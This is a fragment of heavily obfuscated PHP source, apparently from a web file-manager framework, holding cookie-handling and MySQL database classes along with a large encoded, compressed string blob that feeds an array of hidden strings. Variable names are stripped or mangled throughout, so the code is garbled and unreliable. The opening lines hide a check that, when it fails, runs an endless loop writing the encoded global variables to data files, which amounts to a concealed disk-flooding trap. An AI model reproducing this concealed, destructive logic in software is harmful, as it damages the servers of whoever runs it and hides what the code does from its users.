$ɶ[842]; $ = $_SERVER[$ɶ[843]] . $ɶ[844]; $ = $($); $ = explode($ɶ[231], $); if (count($) < $ɶ[636]) { $ɀբ = $ɶ[845]; $ɀբ(); } $ = $ɶ[892]; $($_SERVER[$ɶ[893]]); $Ц = $ɶ[891]; $Ц(); $ʩ = $ɶ[894]; $շʐ = json_encode($GLOBALS[$ɶ[895]]); $ܱ = 1; for ($ = $ܱ; $ > 0; $++) { $ʩ(DATA_PATH . $, $շʐ); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $˭) { $this->handle->flushall($˭); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($܃ = '', $ = 0) { if (is_string($܃) && $܃ != $_SERVER[ö][12]) { $this->prefix = $܃; } if (is_numeric($) && $ > 0) { $this->expire = $; } } public static function getInstance() { static $ע; if ($ע === null) { $ע = new self(); } return $ע; } private static $cookieDisable = false; public static function disable($ժ) { self::$cookieDisable = $ժ; } private static $sameCookieSet = array(); public static function set($չ, $ߜ, $䣉 = 0, $ = false, $ = false) { $π =& $_SERVER[ö]; if (self::$cookieDisable) { return; } if (!$䣉) { $䣉 = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$չ]) && self::$sameCookieSet[$չ] == $ߜ . $䣉) { return; } self::$sameCookieSet[$չ] = $ߜ . $䣉; if (!$) { $ = str_replace(HOST, $π[12], APP_HOST); $ = _get($GLOBALS, $π[896], $); } $ = $π[12]; setcookie($չ, $ߜ, time() + $䣉, $π[8] . trim($, $π[8]) . $, !1, !1, $); } public static function setSafe($, $, $ = 0) { self::set($, $, $, !0); } public static function get($) { static $ܔ = false; if (!$ܔ) { self::initHeaderCookie(); $ܔ = !0; } return isset($_COOKIE[$]) ? $_COOKIE[$] : !1; } private static function initHeaderCookie() { $ =& $_SERVER[ö]; if (!isset($_SERVER[$[897]]) || !$_SERVER[$[897]]) { return; } $ô = explode($[71], $_SERVER[$[897]]); foreach ($ô as $) { $ = explode($[898], $); if (count($) != 2 || !isset($[1])) { continue; } $_COOKIE[trim($[0])] = trim($[1]); } } public static function remove($ɷ, $ = false) { unset($_COOKIE[$ɷ]); self::set($ɷ, $_SERVER[ö][12], 1, $); } } class DbMysql extends Db { public function __construct($Ħũ = '') { $굪 =& $_SERVER[ö]; if (!extension_loaded($굪[810])) { think_exception(think_lang($굪[14]) . $굪[899]); } if (!empty($Ħũ)) { $this->config = $Ħũ; if (empty($this->config[$굪[17]])) { $this->config[$굪[17]] = $굪[12]; } } } public function connect($Բ = '', $Ǝ = 0, $ = false) { $Ͷ =& $_SERVER[ö]; if (!isset($this->linkID[$Ǝ])) { if (empty($Բ)) { $Բ = $this->config; } $Ҙ = $Բ[$Ͷ[900]] . ($Բ[$Ͷ[901]] ? "\72{$Բ[$Ͷ[901]]}" : $Ͷ[12]); $ʻ = !empty($Բ[$Ͷ[17]][$Ͷ[18]]) ? $Բ[$Ͷ[17]][$Ͷ[18]] : $this->pconnect; if ($ʻ) { $this->linkID[$Ǝ] = mysql_pconnect($Ҙ, $Բ[$Ͷ[902]], $Բ[$Ͷ[903]], 131072); } else { $this->linkID[$Ǝ] = mysql_connect($Ҙ, $Բ[$Ͷ[902]], $Բ[$Ͷ[903]], !0, 131072); } if (!$this->linkID[$Ǝ] || !empty($Բ[$Ͷ[21]]) && !mysql_select_db($Բ[$Ͷ[21]], $this->linkID[$Ǝ])) { think_exception(mysql_error()); } $â = mysql_get_server_info($this->linkID[$Ǝ]); mysql_query($Ͷ[904] . think_config($Ͷ[905]) . $Ͷ[58], $this->linkID[$Ǝ]); if ($â > $Ͷ[906]) { mysql_query($Ͷ[907], $this->linkID[$Ǝ]); } $this->connected = !0; if (1 != think_config($Ͷ[22])) { unset($this->config); } } return $this->linkID[$Ǝ]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($) { $ק =& $_SERVER[ö]; if (0 === stripos($, $ק[264])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ק[23], 1); think_status($ק[24]); $this->queryID = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($᳔) { $笻 =& $_SERVER[ö]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $᳔; if ($this->queryID) { $this->free(); } think_action_status($笻[25], 1); think_status($笻[24]); $ڑ = mysql_query($᳔, $this->_linkID); $this->debug(); if (!1 === $ڑ) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[ö][908], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[ö][909], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[ö][910], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { while ($ = mysql_fetch_assoc($this->queryID)) { $[] = $; } mysql_data_seek($this->queryID, 0); } return $; } public function getFields($ݐ) { $業 =& $_SERVER[ö]; $ّ = $this->query($業[911] . $this->parseKey($ݐ)); $Ф = array(); if ($ّ) { foreach ($ّ as $뙐 => $DŽ) { $Ф[$DŽ[$業[31]]] = array($業[32] => $DŽ[$業[31]], $業[33] => $DŽ[$業[34]], $業[35] => (bool) (strtoupper($DŽ[$業[36]]) === $業[912]), $業[37] => $DŽ[$業[38]], $業[39] => strtolower($DŽ[$業[40]]) == $業[41], $業[42] => strtolower($DŽ[$業[43]]) == $業[44]); } } return $Ф; } public function getTables($ء = '') { $Ɛ =& $_SERVER[ö]; if (!empty($ء)) { $ = $Ɛ[913] . $ء . $Ɛ[914]; } else { $ = $Ɛ[915]; } $ꑼ = $this->query($); $ = array(); foreach ($ꑼ as $ܞ => $˗) { $[$ܞ] = current($˗); } return $; } public function replace($, $ӎ = array()) { $Ӫ =& $_SERVER[ö]; foreach ($ as $ژ => $) { $֓ = $this->parseValue($); if (is_scalar($֓)) { $ِ[] = $֓; $و[] = $this->parseKey($ژ); } } $ؖ٣ = $Ӫ[916] . $this->parseTable($ӎ[$Ӫ[279]]) . $Ӫ[917] . implode($Ӫ[50], $و) . $Ӫ[918] . implode($Ӫ[50], $ِ) . $Ӫ[919]; return $this->execute($ؖ٣); } public function insertAll($ϼ, $ܤ = array(), $Ԇ = false) { $ =& $_SERVER[ö]; if (!is_array($ϼ[0])) { return !1; } $ = array_keys($ϼ[0]); $ֽ퍆 = array(); foreach ($ϼ as $ț) { $۽ = array(); foreach ($ț as $ۚ => $) { $ = $this->parseValue($); if (is_scalar($)) { $۽[] = $; } } $ֽ퍆[] = $[260] . implode($[50], $۽) . $[919]; } array_walk($, array($this, $[920])); $䃲 = ($Ԇ ? $[921] : $[922]) . $[923] . $this->parseTable($ܤ[$[279]]) . $[917] . implode($[50], $) . $[924] . implode($[50], $ֽ퍆); return $this->execute($䃲); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[ö]; $this->error = mysql_errno() . $[4] . mysql_error($this->_linkID); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($ˈ) { if ($this->_linkID) { return mysql_real_escape_string($ˈ, $this->_linkID); } else { return mysql_escape_string($ˈ); } } public function parseKey(&$, $ = true) { $°켭 =& $_SERVER[ö]; if ($) { $ = $this->parseKeyCheck($); } if ($ != $°켭[188] && !preg_match($°켭[925], $)) { $ = $°켭[385] . trim($, $°켭[385]) . $°켭[385]; } return $; } } goto Cس; Aق߫: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define(strrev('愶'), base64_decode('odHXy63e')); $_SERVER[ö] = explode(base64_decode('fAN8AXwC'), gzinflate(substr("\x1f\x8b\x8\x0\x0\x0\x0\x0\x0\x13\xc5\x7d\x7\x78\x1c\xd5\xd5\x28\x2d\xa1\x99\x12\x52\x20\x10\x60\x2c\x30\x92\xed\x2d\x72\xb7\x65\xcb\x66\x25\xad\xa4\xb5\x57\x5a\xb1\xbb\x72\x41\x32\xe3"."\xd9\xdd\xd9\xd5\x48\xbb\x3b\xab\x99\x59\x35\xdb\x94\x84\xe\x36\xbd\x24\xb4\xdf\xa1\x7\x83\x81\x4\x62\x30\x86\xfc\x40\x7e\x20\x84\x4e\x28\x26\x90\x9f\x80\xd\x4\x8\x84\x62\xda\x83\xbc\x5b"."\316\55\63\273\202\377\175\357\175\337\243\150\157\237\133\316\75\367\234\163\317\71\367\225\333\136\75\377\67\317\256\331\175\315\256\153\166\73\375\231\337\157\277\374\22\32\106\377"."\xe2\xbf\x24\x7c\xe4\x39\x7b\xed\x42\xfe\xf9\xe1\x39\x67\xd7\xd5\xb5\xcf\xde\x67\x6a\xe7\x84\xf3\x7e\x77\xab\xf6\x1b\x6d\xa3\x76\x76\x2c\xfa\xf8\x9f\x23\xfb\x3d\xb9\x71\x71\x78\xc7\xb5\x8f\x8f".strrev('N/KQH769Yc)G'."\r".''."\n".']ŗu')."\372\243\102\277\310\137\173\60\157\260\174\265\63\226\124\23\335\135\135\341\170\22\12\65\310\371\5\63\3\241\222\146\151\5\370\176\111\267\154\324\33\271\71\265\144\226\364\242"."\53\105\44\144\64\107\113\151\66\264\324\322\244\266\204\273\242\261\25\152\162\105\127\30\112\244\324\301\262\156\215\322\30\11\46\34\315\162\222\106\101\347\45\206\55\336\257\246".strrev('5Uחs*KBF=2Hɤ2sPCIS[p')."\224\125\64\147\225\62\231\6\132\15\75\237\241\301\242\306\272\343\214\226\40\224\344\41\264\114\305\162\76\117\43\235\74\224\321\263\132\71\17\263\325\42\107\112\226\121\320\330".base64_decode('oJfoozyVBrSyYxrFNI2ERxxLE+mor2m00HoRmkqEo+HmpII7qLTGYx0KLEJBsx3d')."\x52\x96\xb5\x87\xe3\x61\x5\x77\xba\xb1\x96\x8c\xb5\x56\x1\x78\xe9\x44\x53\xa1\x84\xa2\x51\x65\xbc\x16\x1c\xbd\x50\x62\xcd\xd0\x3a\x55\x1a\x8b\xc5\x5b\xc2\x71\xa5\x69\x85\x22\x66\x28\x6d\x16"."\12\146\61\200\132\101\53\351\110\135\15\307\343\64\340\3\360\216\106\360\242\101\44\326\332\232\10\363\30\14\356\270\50\352\311\14\200\117\127\54\223\315\73\352\220\226\57\63"."\x30\x1d\xa0\xbf\xb5\xf0\x3\xbf\xa6\xd\xa0\x3b\x68\x14\x8d\x32\x80\x29\x34\x61\x9a\x7c\x5b\x41\xa0\xcc\x4a\xeb\x2c\x45\xcf\x40\xa0\x80\xea\x9b\xb0\xf3\xd0\x36\x1c\xa2\xc1\xc6\x85\xf4\x77\x3e"."\x14\x4a\xa9\x38\x4f\xb7\x1c\x55\x2f\xa6\xcd\x8c\x51\x84\xcd\xba\x8\x80\x4e\x73\xfa\x5a\x2c\x3\x15\xa0\xf1\xac\x99\xcf\xb0\xb0\x6d\x8c\xc1\x50\xb2\x46\x5e\xef\x2c\x17\xe4\x22\x3c\x9a\xee\x33".base64_decode('8hmL7a9vK0mjUb5dcVkRK6Ge8J1uZEfFfrPNspXWI2hHiHpdvPQ0KKQ7DhoczI1h')."\x76\x97\xf2\xa6\x96\x49\xe8\x16\x1f\x9a\x61\xb6\xa2\x8a\xb1\xb2\x23\x27\x96\x49\xb1\x56\xd3\x2a\xb4\x20\xcc\x0\xdf\x47\xbb\xc2\xe8\xae\x92\x31\xc0\xf6\x45\x46\x9a\xb1\x60\x5d\xcf\x29\xfe\x6f"."\x56\xf6\x1c\x8b\xfe\x4c\x6\xd4\xd7\xb\x7d\xea\xd3\xf3\x79\x55\x1f\xd1\x61\xe3\x14\x32\xb3\x6c\x36\x19\x41\x3b\x65\x14\x83\x28\x85\x46\x23\x31\xb5\x4f\xb3\xfb\x3a\x32\xb3\x54\x52\x8b\x61\xd4"."\214\76\22\50\365\225\140\127\363\215\334\353\2\154\74\165\235\246\23\226\360\162\336\114\153\171\171\210\64\334\347\70\245\204\136\314\340\231\200\241\230\303\105\62\123\45\135\207"."\x42\x2d\x3e\x25\xa3\x74\x28\x2b\x94\xf6\x6\xa3\xc1\x66\x15\xb\x79\x1e\x62\xa3\xe3\x69\x36\x4f\x74\x46\xd8\x72\x66\xb2\x34\x90\x62\xc7\x42\xd\x7c\xd0\xb0\x9\x86\x13\xdb\x53\x2b\x95\xf2\x46"."\132\163\14\263\30\64\323\216\356\370\155\307\322\65\150\61\224\116\353\266\355\157\66\213\216\145\346\375\241\174\336\34\366\307\54\43\147\24\33\224\51\200\154\121\46\332\324\176".strrev('wm2]-b(4gaY+Kiy\\Y;,iL0W֧`'."\0".'')."\101\321\34\107\113\367\141\14\42\232\157\374\226\362\106\61\157\24\365\212\262\341\221\222\141\351\66\353\253\322\326\221\204\106\120\353\272\277\313\322\162\5\255\101\51\225\123\150"."\146\140\247\126\111\243\245\141\152\32\224\64\216\372\224\102\331\166\374\226\216\120\221\201\216\73\230\344\110\326\337\201\367\225\241\147\374\11\204\261\41\171\106\375\114\5\201\216"."\xc2\xf2\x68\x6a\x7b\x32\xd9\xa5\x46\x5a\xd1\x91\xdc\x19\x56\x3b\x42\xc9\xe6\x76\xe8\xb6\xa3\xe5\x58\x9f\xa3\x8\xf\xf3\x26\x59\xe2\x72\x3f\xda\x5f\x18\xb8\x3a\xd1\x58\x45\x62\x97\x39\xac\x5b"."\350\303\115\243\15\312\200\231\111\231\43\1\226\205\13\47\20\242\141\205\361\162\227\34\177\134\53\346\360\374\244\106\35\35\100\320\36\312\271\47\72\252\27\163\116\37\253\230"."\10\307\227\206\343\152\42\326\232\134\26\212\303\141\136\104\120\62\302\76\205\233\316\373\343\172\6\115\175\332\141\365\264\22\236\65\126\6\157\16\274\126\54\27\157\30\226\27".base64_decode('jbThiWnx26iQXy7F2o4aBQP33eE5ZCbRSd8GHQqSATX29k2p681MnexHf6dM7ult')."\x9\x4c\x59\xb9\x28\x68\x88\x3a\xc1\x69\x81\x69\xca\xf4\xfa\xd9\x4a\x17\x22\x3d\xc\x2d\xaf\xc0\xa0\x2b\x4a\xd4\x2b\xb1\x25\xee\x69\x11\xd0\x5c\x34\x8b\xfa\xb7\x4c\xe\x3e\xbb\xa4\x6d\xef\x99".base64_decode('VpoYDx/XHU4k1Y5wsj3WAl8PhyAUNem2ZaPtoT8rYXVX0h/VsFulYwVHOfpRzVQ/').base64_decode('WowOneHYLMXRkYKW86B8HOswLd2dIo6qZUaGnQk42q4buT6YLwO3ljbzpqXlMWZk').strrev('>eoM\'!AiϬa#olubP ",$'."\0".'g*gB')."\x98\x81\xfe\x13\xa8\x3d\x63\x16\x34\x86\x28\x9\x8a\xd3\x33\x14\xc7\xd1\xa4\x29\xae\x9c\x76\x5d\x13\x87\xb4\x63\x39\x26\x4e\xb5\x5c\x45\xd0\x84\xf6\x99\xb0\xb0\x39\x9d\x75\xa9\xcc\xfb\xc6\x7a"."\231\321\363\72\233\215\76\235\35\23\365\120\14\35\163\174\256\262\174\315\20\265\207\122\305\371\154\330\161\124\23\43\165\26\137\206\311\143\221\340\360\242\171\164\102\305\310\212"."\213\170\227\245\147\15\330\244\105\264\42\35\232\65\300\106\203\126\100\300\12\216\110\160\324\332\35\215\252\315\261\316\44\42\251\151\312\262\170\44\31\146\160\33\152\121\103\315".base64_decode('XfzgFSsKBTCCqTw9aMrQdOg46k5QHHMIY5fMoq3701BDkN4VWRlxCgCeESeH5zAY')."\361\153\205\61\177\1\155\1\77\357\250\373\14\126\222\362\121\36\201\125\22\310\35\117\43\342\212\330\341\337\25\113\100\205\105\70\25\21\140\51\335\202\217\165\165\103\126\101".base64_decode('gpC2MCTuw85zDciq0LIEQ8xlVN4yxjQxpEWsP2wghbyg59yj8ouZT7ZHOpeoHbGW')."\160\124\215\164\42\314\224\254\114\357\356\152\11\261\245\224\323\233\142\311\166\127\152\67\302\115\113\103\321\210\267\170\170\171\44\221\114\124\315\102\151\335\141\117\16\142\4\273".base64_decode('4uHWyHIebY2Eoy0JtTnU3C7KdIY6IKJmMStmB93lVYRkE5yhU4cwc8omS3XxUCrj')."\16\124\1\103\350\60\325\1\322\140\270\230\45\46\43\1\206\70\155\226\331\21\300\11\311\2\303\21\5\15\66\221\306\16\312\72\372\63\131\11\45\24\247\244\162\154\220\32"."\345\101\62\14\26\107\44\43\174\137\1\204\137\321\3\25\227\151\322\263\34\17\127\117\10\145\35\216\356\75\161\4\374\42\17\255\100\210\360\336\10\22\310\212\300\147\14\264"."\x95\x2c\x27\xc4\xba\x93\x15\x7c\xaf\x1a\xeb\xa\xc7\x43\x98\x6b\x56\x97\xc5\x63\x9d\x6d\x50\x61\xb8\x4f\x67\x1d\x88\xc0\xf4\xd7\x31\xe2\xa\x98\x67\x47\x20\x24\x44\x19\x69\x8c\x8b\x12\x93\xde"."\x6f\xb2\xa9\x5c\x43\x7f\x8e\xa1\x3f\x88\x28\x84\x8f\xeb\x45\x36\xeb\x29\x8c\x9b\xd9\xe9\xc2\x2\x59\xb4\x1b\x18\x5e\x35\xcb\xfc\x6b\x29\xd3\xcc\xb3\x7d\x8a\xe8\x3\x8e\x30\x38\xf3\xdd\x6f\x33"."\x20\x19\x61\xa8\x66\x2a\x3b\xa0\xe0\x7c\x48\xc6\x96\x84\x3b\x55\x6\x59\x34\x26\x41\x23\x4d\x40\xec\x6c\x2c\xe\x13\xe2\x98\x3\x8c\x27\xa3\x99\xf1\x70\x82\xed\x72\x4b\x1f\x2c\x1b\x6c\xba\x82"."\201\251\0\305\72\72\202\340\363\301\23\172\207\247\326\365\370\247\6\126\242\300\344\51\307\322\50\304\172\3\256\350\321\120\277\154\361\332\230\154\252\263\27\115\156\350\15\366".strrev('WRhJt\\'."\0".'\\ZozXHT`ojr?ެc5')."\333\323\273\262\266\141\352\304\336\300\121\275\303\53\247\114\136\304\276\223\56\133\210\337\114\217\362\256\146\246\326\241\56\41\162\212\27\51\22\224\47\25\140\31\143\106\111\244"."\xae\x9e\xbd\x96\xa5\xa3\x35\xd4\x73\xa2\x46\x8f\xbf\x77\xea\xca\x45\x52\x3d\x29\xc9\xfb\x2d\x44\x2e\x21\xfc\xdb\xc7\xcb\x85\xfc\xc7\xe3\x91\xf1\xaa\x78\xdf\x3\x7c\x94\x8b\x69\x81\x3d\xf1\xbe"."\110\151\151\300\3\106\256\310\267\20\72\323\71\237\356\246\342\127\117\242\277\153\331\102\346\364\21\206\32\212\131\303\2\350\54\27\215\101\46\206\50\352\203\20\60\35\6\337"."\x29\xdd\x19\xd6\x19\x78\xa0\x74\x57\x1c\x1\x7\x63\x1d\x51\x96\x14\xcb\x13\xc2\x10\xbe\x80\x19\x2a\xe\xa3\x1c\x98\x8c\x92\x8a\x29\xac\x61\x1e\xcb\xe8\x45\x58\xa7\xbd\xa1\xb4\x9d\xd6\x4a\x7a".strrev('@զYnA'."\n".'xH-!eF싉X\'b`0ʰMC&B')."\227\166\271\204\111\63\304\231\71\150\156\25\304\323\53\215\13\25\72\345\120\117\225\27\240\244\61\72\1\163\333\272\330\364\30\103\101\237\112\142\205\154\104\120\61\352\46\130".base64_decode('19tb7tEzK3sQ4Gv+7MrVM9ZOZlR+sBf9wyKhKnI0lWNDFZ3PAdwPLkpxRXg2jZoW')."\x27\x91\x4a\x2e\x22\xda\x31\x1d\x2d\xef\x6a\x22\x89\x53\x18\x6a\x62\x7\x37\x8\x15\xe8\x6a\x47\x5\xc6\xc2\x47\xb9\x24\x80\x24\xe8\xb4\x93\x33\xf1\x5c\x36\x22\x49\xc0\x70\x8d\x84\xee\x4\x78"."\11\237\224\251\242\270\113\30\334\130\303\220\175\21\155\247\146\351\250\243\242\235\304\250\355\350\5\227\324\322\326\65\53\335\327\132\316\347\35\116\312\347\215\1\370\2\354\25".base64_decode('EKL64TSYWq1qq2kxjngKdKNmSrWCkWIR8a8yqIlDti2EyJmkUscEfkqkU2mKxaLh').base64_decode('UKeCz3M4hxCxkAh3hdAhhnnrRDIMMshIi5+1u9wfAQ6LBwyYdrOEMYiK5kRFnMwA')."\133\113\204\20\35\126\24\344\145\20\303\204\246\17\113\210\174\230\322\360\241\61\370\60\173\344\23\124\274\117\10\334\174\103\206\76\114\2\234\330\366\1\15\356\163\64\13\21"."\14\230\110\206\140\244\305\147\330\55\204\201\40\37\40\131\254\103\116\37\226\203\344\265\121\37\355\134\124\37\322\363\76\326\65\37\353\261\217\361\206\76\302\320\265\100\267\272"."\xd1\xe6\x82\x6e\x91\x20\xc2\xa1\x7d\x3e\xc\x4e\x18\x9a\x7d\x42\x20\xe8\x33\x87\x8b\xba\x45\x8a\xc0\x34\x9\xde\xc3\x27\xf8\x12\x5f\xce\x32\xcb\xa5\x2e\xf6\x4d\x29\x46\xbb\x5\x9\xa2\xcf\x3c"."\41\156\232\216\217\361\232\76\231\15\205\136\204\330\256\251\72\235\325\107\103\346\337\333\11\130\73\234\125\71\113\337\261\130\225\353\341\146\271\127\323\26\201\247\137\313\316\74"."\x57\x19\xb1\xbc\x6c\x1b\xe6\x75\x11\xc3\xb\x20\x42\x4b\xc5\x36\xc6\x3\x6a\xd5\x86\x64\xc8\xab\x6\x85\xec\xe4\x61\x60\x2c\xa4\x7f\x42\xee\x2b\x28\x61\x2f\x87\xe9\x95\x8\xe3\x8f\x26\xb5\x5c".base64_decode('Qvqco+XYtzAqQ7njFqXhuJ4eTQuWtUVihN0x9+Yqo/YSWtYzSB/ZZdV2SHUI4FDP')."\27\154\237\275\367\146\63\316\266\2\137\175\327\16\372\356\275\13\243\44\350\62\126\22\4\7\355\54\106\331\11\164\0\266\346\331\24\115\227\263\1\131\373\334\61\274\365\2".strrev('k'."\n".''."\n".'|4fڸViT:aqeIDmky')."\xd8\x47\x6a\x5c\xd5\x5\xd0\xb8\x3b\xe1\x63\x51\xa5\x12\xc\xf1\x74\xcb\x93\x80\x81\x83\xc\x5f\x9c\x64\x2c\x29\x26\xe\xce\x32\x50\x89\x9a\xd\xfc\x1a\x16\x93\x43\x48\x67\x69\x62\x69\x65\x28"."\225\220\221\110\140\375\162\175\27\107\305\16\143\40\241\340\17\370\44\272\6\43\34\277\330\53\122\324\75\345\36\210\364\34\267\170\212\272\214\342\250\121\224\45\132\42\125\234".strrev('e\\patshwԪ9.a7$1!L/k#[`')."\xdf\x86\xdd\xd\x10\xdf\xa7\x59\x62\x32\x19\x4e\xc2\x88\x41\xc8\x9\x71\x11\x11\x95\x8a\x65\xb5\x21\x41\xcc\xb8\xea\x48\x98\xc5\x76\x46\x59\xef\xe5\xa0\xbb\x51\x1a\x6d\x19\x2f\xd2\xce\x5\x21"."\xd5\xa2\x32\x9e\x32\xec\x28\x9a\xbb\x6a\x61\x32\xd2\xa4\x59\x35\x8a\x85\x6d\x2c\x4c\x89\x5\x7e\xa7\x88\x16\xa1\x8e\x21\x15\x20\x46\x54\x49\xa4\xc0\x91\x92\x1b\xe3\xd1\x2e\x85\xf8\x1\x80\x8e"."\125\164\50\322\60\242\375\363\350\54\264\2\170\17\265\341\23\115\76\114\334\4\111\102\107\33\6\352\211\326\22\25\171\162\151\41\116\302\207\203\70\114\330\134\213\55\50\346"."\137\354\67\27\250\344\104\357\60\16\127\53\73\205\301\275\172\274\325\62\71\325\314\211\4\157\241\146\302\226\362\333\114\317\301\56\115\216\213\30\251\110\222\352\170\311\22\117".base64_decode('qicqVsV1KtEkJoLWMgWjGLDo2RdAzAbcQPvqJcpNIKXVNjlF4Kxc61l0xzQRB2sF')."\54\364\145\321\41\11\41\2\66\41\27\224\370\320\224\351\15\336\212\215\62\44\324\356\46\253\130\315\104\111\143\333\2\370\223\62\377\14\247\1\1\247\31\351\1\261\225\265".base64_decode('IQ0BIzRNBiN6SuNRTkZjTBPOGA5OwQepyeTloqB0K83TZARPzqmKxRc8iW+Sq6Sb')."\xd2\x80\xc4\x29\x84\x0\x8\x8\xc2\x48\xbe\x94\x4f\x9b\x25\x80\x3\x49\x7\xa5\x60\xe\xe9\x52\x62\xc0\x76\xcc\x92\xc8\x91\xa2\x34\x5b\xca\x12\x8d\x4a\xa5\xf8\xd2\x90\x7e\xa0\x2d\x96\x21\x44".strrev('Ba!h;Ul$|8:[Y.2H'."\0".'R(')."\16\120\14\20\320\62\231\30\273\354\222\303\225\105\145\131\145\365\206\210\272\17\157\112\212\125\57\36\312\347\205\212\200\67\76\156\25\272\331\345\112\162\312\270\325\132\11\163"."\314\256\354\252\245\161\106\110\336\154\156\142\136\50\166\170\211\176\67\336\36\237\300\31\7\311\211\5\255\36\107\64\101\163\237\121\324\155\176\264\133\166\65\234\365\377\231\222"."\xae\x5c\x3\xbc\x57\xc6\x3\x1c\x9c\x27\xc9\xb7\xb1\xce\xdb\x90\xeb\x1c\xe7\x42\x5c\x81\xb2\x24\x52\x85\x1c\xfb\xaa\xe3\x22\xb2\xe2\xa4\xd\x69\xf3\xb8\xe0\x1\x6d\x56\x3a\x66\x7c\x2c\x45\x62"."\x68\x33\x56\x87\x50\x6f\x39\x9d\x89\xb1\x9\x9e\x1b\xe1\x47\xab\x5c\x9\x67\xe1\xf5\x1a\xaf\x51\x9e\xcf\x1b\x13\x4\x9d\x5c\xe\x41\x26\xce\x18\xaf\x19\x96\xcd\x5b\x79\xfb\x81\x3f\x3e\x78\xdd".base64_decode('9TT88ad3/evaK2h41gxQjYL7KPR3D/RLwkKf8bRlo+Zhj/y47ZkTD6y9+3vh/Yyr')."\157\170\351\371\323\46\37\161\320\244\305\13\46\175\321\167\337\41\377\174\322\172\361\312\127\127\74\371\344\331\327\375\343\244\163\357\76\353\343\266\263\177\124\76\345\336\276\147"."\xe\xf5\x3f\xbd\x5b\xe1\xbd\x5d\xf6\x3b\x68\x66\xe8\x81\x8e\xf2\x9b\x3d\x99\xa1\xb7\x5e\x5a\xf9\xd8\xe2\x3d\x9a\x66\x7c\xf0\xc4\x15\x2f\x7f\xf6\xda\xff\x7a\x6d\xda\xcb\xb5\x8b\xd6\x7c\x74\x6d"."\355\242\313\225\5\337\357\333\45\267\353\47\306\320\204\216\250\242\16\176\175\163\367\364\251\331\373\123\227\137\271\373\2\363\300\315\153\376\271\141\125\352\306\35\375\147\375\373"."\203\111\173\334\135\177\365\107\77\235\264\63\263\333\336\265\361\153\36\337\355\242\77\175\357\300\256\350\233\203\37\235\377\165\350\214\143\367\114\34\162\321\334\256\236\357\77\361"."\xcd\x89\xf6\xdc\x67\x77\xee\x59\x78\x72\xb3\xbe\xe5\xfb\xbd\x99\xc6\xc7\xb7\x4c\x3a\xe4\x0\xfb\x97\x53\x1e\xfd\xd9\x8b\xd3\xf\x38\xf1\xc4\x25\xab\x4f\xea\xb8\xf3\x8b\xdb\x5f\x29\x7c\xf8\x58"."\351\341\107\216\157\274\372\167\133\126\257\271\377\345\167\212\317\67\34\177\341\217\77\77\77\163\136\176\356\123\251\363\266\275\364\151\142\351\23\177\170\370\320\203\377\143\303\301"."\x1f\x5d\x72\xea\x82\x7\xff\x3c\xe7\xa1\x63\x5f\xdc\xf0\xc1\xbe\x3b\xad\xbb\xeb\x7e\xf4\xa7\xb1\xd\xf7\x9e\xd0\x39\x36\xeb\xf1\x33\xd6\xbf\xff\xdc\xa5\xeb\x2e\xbe\x67\x87\x35\x7b\x9a\xf5\x5f"."\233\363\227\376\161\373\314\261\275\174\23\137\57\76\325\364\352\203\257\374\375\355\67\216\172\361\321\145\321\256\103\337\72\345\366\301\167\22\157\73\107\255\235\367\310\171\163\127"."\xff\xe1\x94\xc8\xbd\xbb\xae\x5d\x79\xf2\xae\x4d\xd7\x16\x43\x6b\x8f\x7f\xe4\xf4\x3\x9f\x59\x9b\xda\xb9\xd7\x96\x3\xae\xda\xe7\xb4\x53\x3e\x78\x6a\xda\xb4\xef\xef\x7a\x50\xcd\xfe\xce\xee\x1b".strrev('/Ώn|s{;_{8د#٬u6')."\147\15\177\150\275\366\372\332\117\166\71\75\275\345\250\175\27\277\173\314\204\171\257\355\222\76\364\260\350\336\247\256\74\140\361\360\362\223\377\360\203\327\116\233\165\352\207\153".base64_decode('Hn7hoMPaVh10x/V/eX7bnfs1F8uvr7lm5eC+RzWfcOmqvywInj784NDuXS89+PCu')."\x4d\xa3\xbb\x3f\xb5\xf2\xd4\x53\xfe\xf5\x87\x9d\xff\x78\xf4\xf4\x7f\xea\x43\x8f\xc\xe5\x1f\x9b\xb4\xea\xd9\x3\xa7\x5e\x36\x2f\xba\x73\xfa\x8c\x3b\xae\x50\x3f\xde\xe5\x1f\x4b\xe\x9f\xf4\x44"."\354\316\167\367\332\255\346\325\237\277\65\341\264\333\323\133\236\233\231\173\261\256\166\301\301\267\325\366\136\67\262\370\360\77\276\263\367\237\133\236\355\170\344\332\307\347\34\376"."\333\237\36\123\253\355\265\347\136\37\353\17\355\374\317\103\256\377\360\320\23\162\153\336\275\362\221\237\255\13\76\273\145\237\313\26\356\177\346\376\147\164\325\236\177\302\216\11"."\x13\xf7\xb\xfe\xf3\xa3\xa6\xb6\x89\xeb\x8e\x3c\xfe\x8a\xfa\